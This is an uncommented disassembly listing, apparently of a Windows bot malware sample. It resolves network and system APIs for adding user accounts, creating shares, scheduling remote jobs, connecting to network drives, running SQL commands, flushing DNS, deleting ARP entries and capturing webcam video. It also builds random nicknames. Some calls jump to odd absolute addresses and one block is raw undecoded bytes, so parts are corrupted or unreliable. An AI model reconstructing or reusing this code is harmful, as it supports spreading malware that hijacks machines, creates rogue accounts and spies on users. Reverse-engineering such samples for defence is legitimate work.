		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A252
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	dword_4CB96C, eax
		call	esi
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	dword_4CBA9C, eax
		call	esi
		cmp	dword_4CB96C, ebx
		mov	dword_4CB8FC, eax
		jz	short loc_40A25D
		cmp	dword_4CBA9C, ebx
		jz	short loc_40A25D
		cmp	eax, ebx
		jnz	short loc_40A267
		jmp	short loc_40A25D
; ---------------------------------------------------------------------------

loc_40A252:				; CODE XREF: sub_409909+90Aj
		nop
		call	near ptr 269096Bh
		mov	dword_4CBAD8, eax

loc_40A25D:				; CODE XREF: sub_409909+939j
					; sub_409909+941j ...
		mov	dword_4CBAD4, 1

loc_40A267:				; CODE XREF: sub_409909+945j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A36E
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_4CB8D8, eax
		call	esi
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_4CB8B0, eax
		call	esi
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_4CB928, eax
		call	esi
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_4CB95C, eax
		call	esi
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_4CBA74, eax
		call	esi
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_4CB910, eax
		call	esi
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_4CB8BC, eax
		call	esi
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_4CB8AC, eax
		call	esi
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_4CB944, eax
		call	esi
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_4CBA3C, eax
		call	esi
		push	offset aNetwkstagetinf ; "NetWkstaGetInfo"
		push	edi
		mov	dword_4CB9F4, eax
		call	esi
		cmp	dword_4CB8D8, ebx
		mov	dword_4CB918, eax
		jz	short loc_40A379
		cmp	dword_4CB8B0, ebx
		jz	short loc_40A379
		cmp	dword_4CB928, ebx
		jz	short loc_40A379
		cmp	dword_4CB95C, ebx
		jz	short loc_40A379
		cmp	dword_4CBA74, ebx
		jz	short loc_40A379
		cmp	dword_4CB910, ebx
		jz	short loc_40A379
		cmp	dword_4CB8BC, ebx
		jz	short loc_40A379
		cmp	dword_4CB8AC, ebx
		jz	short loc_40A379
		cmp	dword_4CB944, ebx
		jz	short loc_40A379
		cmp	dword_4CBA3C, ebx
		jz	short loc_40A379
		cmp	dword_4CB9F4, ebx
		jnz	short loc_40A383
		jmp	short loc_40A379
; ---------------------------------------------------------------------------

loc_40A36E:				; CODE XREF: sub_409909+969j
		nop
		call	near ptr 269096Bh
		mov	dword_4CBAE0, eax

loc_40A379:				; CODE XREF: sub_409909+A11j
					; sub_409909+A19j ...
		mov	dword_4CBADC, 1

loc_40A383:				; CODE XREF: sub_409909+A61j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A3B8
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_4CB900, eax
		call	esi
		cmp	dword_4CB900, ebx
		mov	dword_4CB9DC, eax
		jz	short loc_40A3C3
		cmp	eax, ebx
		jnz	short loc_40A3CD
		jmp	short loc_40A3C3
; ---------------------------------------------------------------------------

loc_40A3B8:				; CODE XREF: sub_409909+A85j
		nop
		call	near ptr 269096Bh
		mov	dword_4CBAE8, eax

loc_40A3C3:				; CODE XREF: sub_409909+AA7j
					; sub_409909+AADj
		mov	dword_4CBAE4, 1

loc_40A3CD:				; CODE XREF: sub_409909+AABj
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A402
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_4CBA60, eax
		call	esi
		cmp	dword_4CBA60, ebx
		mov	dword_4CBA5C, eax
		jz	short loc_40A40D
		cmp	eax, ebx
		jnz	short loc_40A417
		jmp	short loc_40A40D
; ---------------------------------------------------------------------------

loc_40A402:				; CODE XREF: sub_409909+ACFj
		nop
		call	near ptr 269096Bh
		mov	dword_4CBAF0, eax

loc_40A40D:				; CODE XREF: sub_409909+AF1j
					; sub_409909+AF7j
		mov	dword_4CBAEC, 1

loc_40A417:				; CODE XREF: sub_409909+AF5j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A476
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_4CBA8C, eax
		call	esi
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_4CBA84, eax
		call	esi
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_4CBA4C, eax
		call	esi
		cmp	dword_4CBA8C, ebx
		mov	dword_4CB91C, eax
		jz	short loc_40A481
		cmp	dword_4CBA84, ebx
		jz	short loc_40A481
		cmp	dword_4CBA4C, ebx
		jz	short loc_40A481
		cmp	eax, ebx
		jnz	short loc_40A48B
		jmp	short loc_40A481
; ---------------------------------------------------------------------------

loc_40A476:				; CODE XREF: sub_409909+B19j
		call	near ptr 269096Bh
		nop
		mov	dword_4CBAF8, eax

loc_40A481:				; CODE XREF: sub_409909+B55j
					; sub_409909+B5Dj ...
		mov	dword_4CBAF4, 1

loc_40A48B:				; CODE XREF: sub_409909+B69j
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A4C0
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_4CB950, eax
		call	esi
		cmp	dword_4CB950, ebx
		mov	dword_4CBA58, eax
		jz	short loc_40A4CB
		cmp	eax, ebx
		jnz	short loc_40A4D5
		jmp	short loc_40A4CB
; ---------------------------------------------------------------------------

loc_40A4C0:				; CODE XREF: sub_409909+B8Dj
		call	near ptr 269096Bh
		nop
		mov	dword_4CBB00, eax

loc_40A4CB:				; CODE XREF: sub_409909+BAFj
					; sub_409909+BB5j
		mov	dword_4CBAFC, 1

loc_40A4D5:				; CODE XREF: sub_409909+BB3j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A55E
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_4CBA20, eax
		call	esi
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_4CBA6C, eax
		call	esi
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_4CB9A8, eax
		call	esi
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_4CB960, eax
		call	esi
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_4CBA00, eax
		call	esi
		cmp	dword_4CBA20, ebx
		mov	dword_4CB970, eax
		jz	short loc_40A569
		cmp	dword_4CBA6C, ebx
		jz	short loc_40A569
		cmp	dword_4CB9A8, ebx
		jz	short loc_40A569
		cmp	dword_4CB960, ebx
		jz	short loc_40A569
		cmp	dword_4CBA00, ebx
		jz	short loc_40A569
		cmp	eax, ebx
		jnz	short loc_40A573
		jmp	short loc_40A569
; ---------------------------------------------------------------------------

loc_40A55E:				; CODE XREF: sub_409909+BD7j
		nop
		call	near ptr 269096Bh
		mov	dword_4CBB08, eax

loc_40A569:				; CODE XREF: sub_409909+C2Dj
					; sub_409909+C35j ...
		mov	dword_4CBB04, 1

loc_40A573:				; CODE XREF: sub_409909+C51j
		push	offset aAvicap32_dll ; "avicap32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A5A8
		push	offset aCapcreatecaptu ; "capCreateCaptureWindowA"
		push	edi
		call	esi
		push	offset aCapgetdriverde ; "capGetDriverDescriptionA"
		push	edi
		mov	dword_4CB934, eax
		call	esi
		cmp	dword_4CB934, ebx
		mov	dword_4CBA14, eax
		jz	short loc_40A5B3
		cmp	eax, ebx
		jnz	short loc_40A5BD
		jmp	short loc_40A5B3
; ---------------------------------------------------------------------------

loc_40A5A8:				; CODE XREF: sub_409909+C75j
		nop
		call	near ptr 269096Bh
		mov	dword_4CBB10, eax

loc_40A5B3:				; CODE XREF: sub_409909+C97j
					; sub_409909+C9Dj
		mov	dword_4CBB0C, 1

loc_40A5BD:				; CODE XREF: sub_409909+C9Bj
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_409909	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A5C5	proc near		; CODE XREF: sub_401ACD+2511p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	dword_4CBAA4, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_40A60D
		push	dword_4CBAA8
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h

loc_40A60D:				; CODE XREF: sub_40A5C5+1Aj
		cmp	dword_4CBAAC, esi
		jz	short loc_40A641
		push	dword_4CBAB0
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h

loc_40A641:				; CODE XREF: sub_40A5C5+4Ej
		cmp	dword_4CBAB4, esi
		jz	short loc_40A675
		push	dword_4CBAB8
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h

loc_40A675:				; CODE XREF: sub_40A5C5+82j
		cmp	dword_4CBABC, esi
		jz	short loc_40A6A9
		push	dword_4CBAC0
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h

loc_40A6A9:				; CODE XREF: sub_40A5C5+B6j
		cmp	dword_4CBAC4, esi
		jz	short loc_40A6DD
		push	dword_4CBAC8
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h

loc_40A6DD:				; CODE XREF: sub_40A5C5+EAj
		cmp	dword_4CBACC, esi
		jz	short loc_40A711
		push	dword_4CBAD0
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h

loc_40A711:				; CODE XREF: sub_40A5C5+11Ej
		cmp	dword_4CBAD4, esi
		jz	short loc_40A745
		push	dword_4CBAD8
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h

loc_40A745:				; CODE XREF: sub_40A5C5+152j
		cmp	dword_4CBADC, esi
		jz	short loc_40A779
		push	dword_4CBAE0
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h

loc_40A779:				; CODE XREF: sub_40A5C5+186j
		cmp	dword_4CBAE4, esi
		jz	short loc_40A7AD
		push	dword_4CBAE8
		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h

loc_40A7AD:				; CODE XREF: sub_40A5C5+1BAj
		cmp	dword_4CBAEC, esi
		jz	short loc_40A7E1
		push	dword_4CBAF0
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h

loc_40A7E1:				; CODE XREF: sub_40A5C5+1EEj
		cmp	dword_4CBAF4, esi
		jz	short loc_40A815
		push	dword_4CBAF8
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h

loc_40A815:				; CODE XREF: sub_40A5C5+222j
		cmp	dword_4CBAFC, esi
		jz	short loc_40A849
		push	dword_4CBB00
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h

loc_40A849:				; CODE XREF: sub_40A5C5+256j
		cmp	dword_4CBB04, esi
		jz	short loc_40A87D
		push	dword_4CBB08
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h

loc_40A87D:				; CODE XREF: sub_40A5C5+28Aj
		cmp	dword_4CBB0C, esi
		jz	short loc_40A8B1
		push	dword_4CBB10
		lea	eax, [ebp+var_200]
		push	offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
		push	eax

loc_40A897:				; DATA XREF: ___:0043321Co
					; ___:00433260o ...
		call	sub_41C266
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 20h

loc_40A8B1:				; CODE XREF: sub_40A5C5+2BEj
		lea	eax, [ebp+var_200]
		push	offset unk_42D6D4
		push	eax
		call	sub_41C266
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_40A8DE
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h

loc_40A8DE:				; CODE XREF: sub_40A5C5+302j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415D38
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40A5C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A8F0	proc near		; CODE XREF: sub_4017ED+4Fp
					; sub_401ACD+5BC5p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4CBA24
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_40A918
		push	[esp+arg_0]
		call	dword_4CBA68
		test	eax, eax
		jnz	short loc_40A911
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------

loc_40A911:				; CODE XREF: sub_40A8F0+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_40A918:				; CODE XREF: sub_40A8F0+Dj
		retn
sub_40A8F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A919	proc near		; CODE XREF: sub_4017ED+D6p
		mov	ecx, dword_4CB900
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_40A927
		call	ecx

locret_40A927:				; CODE XREF: sub_40A919+Aj
		retn
sub_40A919	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A928	proc near		; CODE XREF: sub_401ACD:loc_403F03p

var_88		= byte ptr -88h
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ebx
		lea	eax, [ebp+var_8]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+var_8], edi
		mov	[ebp+var_4], ebx
		call	dword_4CBA60
		mov	ecx, eax
		sub	ecx, edi
		jz	loc_40A9EE
		sub	ecx, 32h
		jz	loc_40A9E7
		sub	ecx, 48h
		jz	short loc_40A988
		sub	ecx, 6Eh
		jz	short loc_40A981

loc_40A96A:				; CODE XREF: sub_40A928+8Bj
		push	eax
		lea	eax, [ebp+var_88]
		push	offset unk_42D8E8
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		jmp	short loc_40A9C8
; ---------------------------------------------------------------------------

loc_40A981:				; CODE XREF: sub_40A928+40j
		push	offset unk_42D8C4
		jmp	short loc_40A9BA
; ---------------------------------------------------------------------------

loc_40A988:				; CODE XREF: sub_40A928+3Bj
		push	[ebp+var_8]
		call	sub_41BEB5
		push	[ebp+var_8]
		mov	esi, eax
		push	edi
		push	esi
		call	sub_41BF70
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_40A9B5
		lea	eax, [ebp+var_8]
		push	ebx
		push	eax
		push	esi
		call	dword_4CBA60
		cmp	eax, edi
		jz	short loc_40A9EE
		jmp	short loc_40A96A
; ---------------------------------------------------------------------------

loc_40A9B5:				; CODE XREF: sub_40A928+79j
		push	offset unk_42D894

loc_40A9BA:				; CODE XREF: sub_40A928+5Ej
					; sub_40A928+C4j
		lea	eax, [ebp+var_88]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx

loc_40A9C8:				; CODE XREF: sub_40A928+57j
		lea	eax, [ebp+var_88]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_415D38
		pop	ecx

loc_40A9D8:				; CODE XREF: sub_40A928+C8j
					; sub_40A928+DCj
		push	esi
		call	sub_41BA91
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_40A9E7:				; CODE XREF: sub_40A928+32j
		push	offset unk_42D864
		jmp	short loc_40A9BA
; ---------------------------------------------------------------------------

loc_40A9EE:				; CODE XREF: sub_40A928+29j
					; sub_40A928+89j
		cmp	[esi], edi
		jbe	short loc_40A9D8
		lea	ebx, [esi+4]

loc_40A9F5:				; CODE XREF: sub_40A928+DAj
		push	ebx
		call	dword_4CBA5C
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_40A9F5
		jmp	short loc_40A9D8
sub_40A928	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AA06	proc near		; CODE XREF: sub_401ACD+21EDp
					; sub_401ACD+233Ep ...

var_14		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CB988
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset dword_4CBB14
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi
		call	sub_41C266
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40AA06	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AA5F	proc near		; CODE XREF: sub_413694+24Cp
					; sub_413694+292p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		cmp	esi, 1
		jle	short loc_40AA88
		mov	ecx, esi
		push	edi
		shr	ecx, 1
		mov	edx, ecx
		neg	edx
		lea	esi, [esi+edx*2]
		mov	edx, [esp+8+arg_0]

loc_40AA7B:				; CODE XREF: sub_40AA5F+24j
		movzx	edi, word ptr [edx]
		add	eax, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_40AA7B
		pop	edi
		jmp	short loc_40AA8C
; ---------------------------------------------------------------------------

loc_40AA88:				; CODE XREF: sub_40AA5F+Aj
		mov	edx, [esp+4+arg_0]

loc_40AA8C:				; CODE XREF: sub_40AA5F+27j
		test	esi, esi
		pop	esi
		jz	short loc_40AA96
		movzx	ecx, byte ptr [edx]
		add	eax, ecx

loc_40AA96:				; CODE XREF: sub_40AA5F+30j
		mov	ecx, eax
		and	eax, 0FFFFh
		shr	ecx, 10h
		add	ecx, eax
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_40AA5F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AAAC	proc near		; CODE XREF: sub_40AE84+49p
					; DATA XREF: ___:off_42D930o

arg_0		= dword	ptr  4

		push	esi
		push	edi
		nop
		call	near ptr 26A0861h
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		xor	edx, edx
		mov	ecx, 48Fh
		div	ecx
		mov	edi, [esp+8+arg_0]
		push	off_42D9AC[edx*4]
		push	offset aS_1	; "%s"
		push	1Ch
		push	edi
		call	sub_41C360
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40AB14

loc_40AAEE:				; CODE XREF: sub_40AAAC+66j
		call	sub_41C2C2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B8A8
		push	1Ch
		push	edi
		call	sub_41C360
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AAEE

loc_40AB14:				; CODE XREF: sub_40AAAC+40j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_40AAAC	endp

; ---------------------------------------------------------------------------
		db 56h,	57h, 90h
		dd 295D40E8h, 91E85002h, 8B000117h, 0C710247Ch,	913C2404h
		dd 0C4680042h, 6A0042CCh, 21E8571Ch, 33000118h,	10C483F6h
		dd 90983539h, 267E0042h, 11771E8h, 990A6A00h, 52F9F759h
		dd 0B8A86857h, 1C6A0042h, 17FAE857h, 0C4830001h, 353B4614h
		dd 429098h, 0C78BDA7Ch
; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40AB77	proc near		; CODE XREF: sub_401ACD+68EEp

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		nop
		call	near ptr 26A0861h
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, dword_429098
		test	esi, esi
		jle	short loc_40ABBA

loc_40ABA4:				; CODE XREF: sub_40AB77+41j
		call	sub_41C2C2
		push	1Ah
		cdq
		pop	ecx
		idiv	ecx
		add	dl, 61h
		mov	[edi+ebx], dl
		inc	edi
		cmp	edi, esi
		jl	short loc_40ABA4

loc_40ABBA:				; CODE XREF: sub_40AB77+2Bj
		and	byte ptr [edi+ebx], 0
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40AB77	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	dword ptr [ebp-4], 0
		push	esi
		push	edi
		mov	dword ptr [ebp-8], 100h
		nop
		call	near ptr 26A0861h
		push	eax
		call	sub_41C2B8
		pop	ecx
		lea	eax, [ebp-8]
		mov	esi, offset byte_431604
		push	eax
		push	esi
		nop
		call	near ptr 26D0000h
		movsx	eax, byte_431604
		push	41h
		pop	ecx
		push	1
		pop	edx

loc_40AC00:				; CODE XREF: ___:0040AC0Bj
		cmp	eax, ecx
		jnz	short loc_40AC07
		mov	[ebp-4], edx

loc_40AC07:				; CODE XREF: ___:0040AC02j
		inc	ecx
		cmp	ecx, 5Bh
		jl	short loc_40AC00
		push	61h
		pop	ecx

loc_40AC10:				; CODE XREF: ___:0040AC1Bj
		cmp	eax, ecx
		jnz	short loc_40AC17
		mov	[ebp-4], edx

loc_40AC17:				; CODE XREF: ___:0040AC12j
		inc	ecx
		cmp	ecx, 7Bh
		jl	short loc_40AC10
		mov	edi, [ebp+8]
		push	esi
		push	1Ch
		push	edi
		call	sub_41C360
		xor	esi, esi
		add	esp, 0Ch
		cmp	dword_429098, esi
		jle	short loc_40AC5C

loc_40AC36:				; CODE XREF: ___:0040AC5Aj
		call	sub_41C2C2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B8A8
		push	1Ch
		push	edi
		call	sub_41C360
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40AC36

loc_40AC5C:				; CODE XREF: ___:0040AC34j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		push	edi
		nop
		call	near ptr 26A0861h
		push	eax
		call	sub_41C2B8
		pop	ecx
		lea	eax, [ebp-0Ch]
		push	0Ah
		push	eax
		push	7
		push	800h
		nop
		call	near ptr 26E0000h
		mov	edi, [ebp+8]
		lea	eax, [ebp-0Ch]
		push	eax
		push	offset dword_431608
		push	1Ch
		push	edi
		call	sub_41C360
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429098, esi
		jle	short loc_40ACD1

loc_40ACAB:				; CODE XREF: ___:0040ACCFj
		call	sub_41C2C2
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B8A8
		push	1Ch
		push	edi
		call	sub_41C360
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429098
		jl	short loc_40ACAB

loc_40ACD1:				; CODE XREF: ___:0040ACA9j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		push	esi
		lea	eax, [ebp-94h]
		push	edi
		push	eax
		mov	esi, offset byte_43DB98
		mov	dword ptr [ebp-94h], 94h
		call	near ptr 26E0528h
		nop
		nop
		call	near ptr 26A0861h
		push	eax
		call	sub_41C2B8
		cmp	dword ptr [ebp-90h], 4
		pop	ecx
		jnz	short loc_40AD5B
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AD3B
		cmp	dword ptr [ebp-84h], 1
		jnz	short loc_40AD2B
		mov	esi, offset dword_431630

loc_40AD2B:				; CODE XREF: ___:0040AD24j
		cmp	dword ptr [ebp-84h], 2
		jnz	short loc_40AD97
		mov	esi, offset dword_43162C
		jmp	short loc_40AD97
; ---------------------------------------------------------------------------

loc_40AD3B:				; CODE XREF: ___:0040AD1Bj
		cmp	dword ptr [ebp-8Ch], 0Ah
		jnz	short loc_40AD4B
		mov	esi, offset dword_431628
		jmp	short loc_40AD97
; ---------------------------------------------------------------------------

loc_40AD4B:				; CODE XREF: ___:0040AD42j
		cmp	dword ptr [ebp-8Ch], 5Ah
		jnz	short loc_40AD92
		mov	esi, offset dword_431624
		jmp	short loc_40AD97
; ---------------------------------------------------------------------------

loc_40AD5B:				; CODE XREF: ___:0040AD12j
		cmp	dword ptr [ebp-90h], 5
		jnz	short loc_40AD92
		cmp	dword ptr [ebp-8Ch], 0
		jnz	short loc_40AD74
		mov	esi, offset dword_431620
		jmp	short loc_40AD97
; ---------------------------------------------------------------------------

